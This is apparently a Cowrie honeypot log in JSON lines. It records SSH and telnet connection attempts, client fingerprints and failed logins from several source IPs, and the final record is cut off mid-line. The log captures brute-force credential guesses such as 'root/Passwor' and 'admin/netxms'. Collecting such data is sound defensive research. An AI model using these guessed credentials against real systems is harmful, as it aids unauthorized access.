{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:56.859274Z","src_ip":"181.39.158.30","session":"5925a868359a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"123","message":"login attempt [csserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:57.355771Z","src_ip":"181.39.158.30","session":"5925a868359a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:58.475728Z","src_ip":"181.39.158.30","session":"5925a868359a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37498,"dst_ip":"10.17.0.5","dst_port":23,"session":"de70942902c8","protocol":"telnet","message":"New connection: 20.123.41.163:37498 (10.17.0.5:23) [session: de70942902c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:59.218831Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":44826,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9fb66afefa","protocol":"ssh","message":"New connection: 103.69.96.120:44826 (159.203.135.109:22) [session: cc9fb66afefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:17.036383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:17.045869Z","src_ip":"103.69.96.120","session":"cc9fb66afefa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:17.289234Z","src_ip":"103.69.96.120","session":"cc9fb66afefa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwor","message":"login attempt [root/Passwor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:18.289020Z","src_ip":"103.69.96.120","session":"cc9fb66afefa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:19.534240Z","src_ip":"103.69.96.120","session":"cc9fb66afefa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35882,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cb9b32212e3","protocol":"telnet","message":"New connection: 174.138.46.234:35882 (159.203.135.109:23) [session: 3cb9b32212e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:21.172773Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36058,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ee4594c3ba","protocol":"telnet","message":"New connection: 174.138.46.234:36058 (159.203.135.109:23) [session: c0ee4594c3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:21.583671Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36246,"dst_ip":"159.203.135.109","dst_port":23,"session":"18a65ba40493","protocol":"telnet","message":"New connection: 174.138.46.234:36246 (159.203.135.109:23) [session: 18a65ba40493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:22.190818Z"}
{"eventid":"cowrie.session.closed","duration":5.8777899742126465,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:27.050397Z","src_ip":"174.138.46.234","session":"3cb9b32212e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9431116580963135,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:27.526661Z","src_ip":"174.138.46.234","session":"c0ee4594c3ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.954266786575317,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:28.144936Z","src_ip":"174.138.46.234","session":"18a65ba40493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.18.101.236","src_port":53720,"dst_ip":"159.203.135.109","dst_port":23,"session":"036827202874","protocol":"telnet","message":"New connection: 3.18.101.236:53720 (159.203.135.109:23) [session: 036827202874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:37.004639Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.18.101.236","src_port":41236,"dst_ip":"159.203.135.109","dst_port":22,"session":"64c8feae27bc","protocol":"ssh","message":"New connection: 3.18.101.236:41236 (159.203.135.109:22) [session: 64c8feae27bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:37.189559Z"}
{"eventid":"cowrie.session.closed","duration":0.44657373428344727,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:37.451073Z","src_ip":"3.18.101.236","session":"036827202874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:37.475224Z","src_ip":"3.18.101.236","session":"64c8feae27bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.67120385169983,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:38.990821Z","src_ip":"174.138.46.234","session":"8efd29834db9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55450,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d656e5616ec","protocol":"telnet","message":"New connection: 20.123.41.163:55450 (10.17.0.5:23) [session: 1d656e5616ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:40.354131Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":43994,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d0095c6048","protocol":"ssh","message":"New connection: 14.248.83.33:43994 (159.203.135.109:22) [session: 99d0095c6048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:41.128980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:41.133929Z","src_ip":"14.248.83.33","session":"99d0095c6048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:41.381370Z","src_ip":"14.248.83.33","session":"99d0095c6048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"123","message":"login attempt [csserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:42.401514Z","src_ip":"14.248.83.33","session":"99d0095c6048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:43.654148Z","src_ip":"14.248.83.33","session":"99d0095c6048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.862550497055054,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:49.081250Z","src_ip":"20.123.41.163","session":"de70942902c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.16758394241333,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:49.521600Z","src_ip":"20.123.41.163","session":"1d656e5616ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":57934,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa3ae24e56d1","protocol":"ssh","message":"New connection: 181.39.158.30:57934 (159.203.135.109:22) [session: aa3ae24e56d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:53.148720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:53.153917Z","src_ip":"181.39.158.30","session":"aa3ae24e56d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:53.273208Z","src_ip":"181.39.158.30","session":"aa3ae24e56d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"netxms","message":"login attempt [admin/netxms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:53.778856Z","src_ip":"181.39.158.30","session":"aa3ae24e56d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:54.901908Z","src_ip":"181.39.158.30","session":"aa3ae24e56d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46970,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fbf216856aa","protocol":"telnet","message":"New connection: 174.138.46.234:46970 (159.203.135.109:23) [session: 6fbf216856aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:27:59.925770Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47010,"dst_ip":"159.203.135.109","dst_port":23,"session":"633bd666368b","protocol":"telnet","message":"New connection: 174.138.46.234:47010 (159.203.135.109:23) [session: 633bd666368b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:00.044914Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46816,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d304ded97f","protocol":"telnet","message":"New connection: 174.138.46.234:46816 (159.203.135.109:23) [session: 21d304ded97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:00.355379Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47124,"dst_ip":"159.203.135.109","dst_port":23,"session":"695df21a737d","protocol":"telnet","message":"New connection: 174.138.46.234:47124 (159.203.135.109:23) [session: 695df21a737d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:00.474842Z"}
{"eventid":"cowrie.session.closed","duration":5.907977819442749,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:05.952699Z","src_ip":"174.138.46.234","session":"633bd666368b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.992768049240112,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:06.918440Z","src_ip":"174.138.46.234","session":"6fbf216856aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.710030794143677,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:07.065278Z","src_ip":"174.138.46.234","session":"21d304ded97f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57062,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4e91c200ce","protocol":"telnet","message":"New connection: 174.138.46.234:57062 (159.203.135.109:23) [session: 6c4e91c200ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:35.622939Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57118,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae64d2ca364c","protocol":"telnet","message":"New connection: 174.138.46.234:57118 (159.203.135.109:23) [session: ae64d2ca364c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:35.823194Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57296,"dst_ip":"159.203.135.109","dst_port":23,"session":"df20365aaaa7","protocol":"telnet","message":"New connection: 174.138.46.234:57296 (159.203.135.109:23) [session: df20365aaaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:37.412277Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57324,"dst_ip":"159.203.135.109","dst_port":23,"session":"000693a74c7e","protocol":"telnet","message":"New connection: 174.138.46.234:57324 (159.203.135.109:23) [session: 000693a74c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:37.487027Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":16118,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdd9a3e55afb","protocol":"ssh","message":"New connection: 14.248.83.33:16118 (159.203.135.109:22) [session: bdd9a3e55afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:40.028718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:40.041010Z","src_ip":"14.248.83.33","session":"bdd9a3e55afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:40.281420Z","src_ip":"14.248.83.33","session":"bdd9a3e55afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.958019971847534,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:40.444954Z","src_ip":"174.138.46.234","session":"000693a74c7e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vncserver","message":"login attempt [root/vncserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:41.269387Z","src_ip":"14.248.83.33","session":"bdd9a3e55afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.973645448684692,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:41.796717Z","src_ip":"174.138.46.234","session":"ae64d2ca364c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.4797303676605225,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:41.891742Z","src_ip":"174.138.46.234","session":"df20365aaaa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:42.511786Z","src_ip":"14.248.83.33","session":"bdd9a3e55afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.004623651504517,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:43.627421Z","src_ip":"174.138.46.234","session":"6c4e91c200ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":60991,"dst_ip":"159.203.135.109","dst_port":22,"session":"6914783ad2cc","protocol":"ssh","message":"New connection: 181.39.158.30:60991 (159.203.135.109:22) [session: 6914783ad2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:50.113298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:28:50.118643Z","src_ip":"181.39.158.30","session":"6914783ad2cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed2551